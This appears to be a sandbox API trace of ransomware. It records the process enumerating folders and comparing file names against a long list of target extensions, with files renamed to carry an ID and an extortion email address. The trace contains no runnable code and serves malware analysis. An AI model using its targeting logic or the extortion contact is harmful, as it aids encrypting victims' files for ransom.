	[0070.492] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dcr") returned 4
	[0070.492] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".der") returned 4
	[0070.492] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dib") returned 4
	[0070.492] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dic") returned 4
	[0070.492] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dif") returned 4
	[0070.492] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".divx") returned 5
	[0070.492] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.492] lstrlenW (lpString=".djvu") returned 5
	[0070.492] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dng") returned 4
	[0070.492] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".doc") returned 4
	[0070.492] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".docm") returned 5
	[0070.492] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.492] lstrlenW (lpString=".docx") returned 5
	[0070.492] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dot") returned 4
	[0070.492] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dotm") returned 5
	[0070.492] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dotx") returned 5
	[0070.492] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dpx") returned 4
	[0070.492] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dqy") returned 4
	[0070.492] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.492] lstrlenW (lpString=".dsn") returned 4
	[0070.492] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".dt") returned 3
	[0070.493] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.493] lstrlenW (lpString=".dtd") returned 4
	[0070.493] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".dwg") returned 4
	[0070.493] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".dwt") returned 4
	[0070.493] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".dx") returned 3
	[0070.493] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.493] lstrlenW (lpString=".dxf") returned 4
	[0070.493] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".edml") returned 5
	[0070.493] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.493] lstrlenW (lpString=".efd") returned 4
	[0070.493] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".elf") returned 4
	[0070.493] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".emf") returned 4
	[0070.493] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".emz") returned 4
	[0070.493] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".epf") returned 4
	[0070.493] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".eps") returned 4
	[0070.493] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.493] lstrlenW (lpString=".epsf") returned 5
	[0070.493] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.493] lstrlenW (lpString=".epsp") returned 5
	[0070.493] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.494] lstrlenW (lpString=".erf") returned 4
	[0070.494] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".exr") returned 4
	[0070.494] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".f4v") returned 4
	[0070.494] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".fido") returned 5
	[0070.494] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.494] lstrlenW (lpString=".flm") returned 4
	[0070.494] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".flv") returned 4
	[0070.494] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".frm") returned 4
	[0070.494] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".fxg") returned 4
	[0070.494] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".geo") returned 4
	[0070.494] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".gif") returned 4
	[0070.494] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".grs") returned 4
	[0070.494] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".gz") returned 3
	[0070.494] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.494] lstrlenW (lpString=".h") returned 2
	[0070.494] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.494] lstrlenW (lpString=".hdr") returned 4
	[0070.494] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".hpp") returned 4
	[0070.494] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".hta") returned 4
	[0070.494] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".htc") returned 4
	[0070.494] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.494] lstrlenW (lpString=".htm") returned 4
	[0070.495] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".html") returned 5
	[0070.495] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.495] lstrlenW (lpString=".icb") returned 4
	[0070.495] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".ics") returned 4
	[0070.495] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".iff") returned 4
	[0070.495] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".inc") returned 4
	[0070.495] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".indd") returned 5
	[0070.495] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.495] lstrlenW (lpString=".ini") returned 4
	[0070.495] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".iqy") returned 4
	[0070.495] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".j2c") returned 4
	[0070.495] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".j2k") returned 4
	[0070.495] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".java") returned 5
	[0070.495] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.495] lstrlenW (lpString=".jp2") returned 4
	[0070.495] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".jpc") returned 4
	[0070.495] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".jpe") returned 4
	[0070.495] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".jpeg") returned 5
	[0070.495] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.495] lstrlenW (lpString=".jpf") returned 4
	[0070.495] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.495] lstrlenW (lpString=".jpg") returned 4
	[0070.495] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".jpx") returned 4
	[0070.496] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".js") returned 3
	[0070.496] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.496] lstrlenW (lpString=".jsf") returned 4
	[0070.496] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".json") returned 5
	[0070.496] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.496] lstrlenW (lpString=".jsp") returned 4
	[0070.496] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".kdc") returned 4
	[0070.496] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".kmz") returned 4
	[0070.496] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".kwm") returned 4
	[0070.496] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".lasso") returned 6
	[0070.496] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.496] lstrlenW (lpString=".lbi") returned 4
	[0070.496] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".lgf") returned 4
	[0070.496] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".lgp") returned 4
	[0070.496] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".log") returned 4
	[0070.496] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".m1v") returned 4
	[0070.496] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".m4a") returned 4
	[0070.496] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".m4v") returned 4
	[0070.496] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".max") returned 4
	[0070.496] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0070.496] lstrlenW (lpString=".md") returned 3
	[0070.496] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.497] lstrlenW (lpString=".mda") returned 4
	[0070.497] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mdb") returned 4
	[0070.497] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mde") returned 4
	[0070.497] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mdf") returned 4
	[0070.497] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mdw") returned 4
	[0070.497] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mef") returned 4
	[0070.497] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mft") returned 4
	[0070.497] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mfw") returned 4
	[0070.497] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mht") returned 4
	[0070.497] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mhtml") returned 6
	[0070.497] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mka") returned 4
	[0070.497] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mkidx") returned 6
	[0070.497] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mkv") returned 4
	[0070.497] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mos") returned 4
	[0070.497] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mov") returned 4
	[0070.497] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mp3") returned 4
	[0070.497] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mp4") returned 4
	[0070.497] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.497] lstrlenW (lpString=".mpeg") returned 5
	[0070.498] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.498] lstrlenW (lpString=".mpg") returned 4
	[0070.498] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".mpv") returned 4
	[0070.498] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".mrw") returned 4
	[0070.498] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".msg") returned 4
	[0070.498] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".mxl") returned 4
	[0070.498] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".myd") returned 4
	[0070.498] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".myi") returned 4
	[0070.498] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".nef") returned 4
	[0070.498] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".nrw") returned 4
	[0070.498] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".obj") returned 4
	[0070.498] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".odb") returned 4
	[0070.498] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".odc") returned 4
	[0070.498] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".odm") returned 4
	[0070.498] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".odp") returned 4
	[0070.498] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".ods") returned 4
	[0070.498] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.498] lstrlenW (lpString=".oft") returned 4
	[0070.499] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".one") returned 4
	[0070.499] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".onepkg") returned 7
	[0070.499] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.499] lstrlenW (lpString=".onetoc2") returned 8
	[0070.499] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.499] lstrlenW (lpString=".opt") returned 4
	[0070.499] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".oqy") returned 4
	[0070.499] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".orf") returned 4
	[0070.499] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".p12") returned 4
	[0070.499] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".p7b") returned 4
	[0070.499] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".p7c") returned 4
	[0070.499] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".pam") returned 4
	[0070.499] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".pbm") returned 4
	[0070.499] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".pct") returned 4
	[0070.499] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.499] lstrlenW (lpString=".pcx") returned 4
	[0070.499] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pdd") returned 4
	[0070.500] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pdf") returned 4
	[0070.500] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pdp") returned 4
	[0070.500] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pef") returned 4
	[0070.500] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pem") returned 4
	[0070.500] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pff") returned 4
	[0070.500] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pfm") returned 4
	[0070.500] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pfx") returned 4
	[0070.500] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pgm") returned 4
	[0070.500] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".php") returned 4
	[0070.500] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.500] lstrlenW (lpString=".php3") returned 5
	[0070.500] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.500] lstrlenW (lpString=".php4") returned 5
	[0070.500] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.500] lstrlenW (lpString=".php5") returned 5
	[0070.500] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.500] lstrlenW (lpString=".phtml") returned 6
	[0070.500] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pict") returned 5
	[0070.500] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.500] lstrlenW (lpString=".pl") returned 3
	[0070.500] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.500] lstrlenW (lpString=".pls") returned 4
	[0070.501] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".pm") returned 3
	[0070.501] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.501] lstrlenW (lpString=".png") returned 4
	[0070.501] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".pnm") returned 4
	[0070.501] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".pot") returned 4
	[0070.501] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".potm") returned 5
	[0070.501] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.501] lstrlenW (lpString=".potx") returned 5
	[0070.501] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0070.501] lstrlenW (lpString=".ppa") returned 4
	[0070.501] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".ppam") returned 5
	[0070.501] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.501] lstrlenW (lpString=".ppm") returned 4
	[0070.501] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".pps") returned 4
	[0070.501] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".ppsm") returned 5
	[0070.501] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.501] lstrlenW (lpString=".ppt") returned 4
	[0070.501] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".pptm") returned 5
	[0070.501] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.501] lstrlenW (lpString=".pptx") returned 5
	[0070.501] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.501] lstrlenW (lpString=".prn") returned 4
	[0070.501] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".ps") returned 3
	[0070.501] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.501] lstrlenW (lpString=".psb") returned 4
	[0070.501] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.501] lstrlenW (lpString=".psd") returned 4
	[0070.501] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".pst") returned 4
	[0070.502] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".ptx") returned 4
	[0070.502] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".pub") returned 4
	[0070.502] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".pwm") returned 4
	[0070.502] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".pxr") returned 4
	[0070.502] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".py") returned 3
	[0070.502] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0070.502] lstrlenW (lpString=".qt") returned 3
	[0070.502] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0070.502] lstrlenW (lpString=".r3d") returned 4
	[0070.502] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".raf") returned 4
	[0070.502] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0070.502] lstrlenW (lpString=".rar") returned 4
	[0070.502] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0070.502] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f71fc3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34f71fc3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.502] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.502] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.502] FindClose (in: hFindFile=0x31212d0 | out: hFindFile=0x31212d0) returned 1
	[0070.503] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.503] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0070.503] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0070.503] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121310
	[0070.503] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.503] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34f97f48, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34f97f48, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fe4436, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.503] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0070.503] lstrlenW (lpString=".1cd") returned 4
	[0070.503] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.503] lstrlenW (lpString=".3ds") returned 4
	[0070.503] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.503] lstrlenW (lpString=".3fr") returned 4
	[0070.503] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.503] lstrlenW (lpString=".3g2") returned 4
	[0070.503] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.503] lstrlenW (lpString=".3gp") returned 4
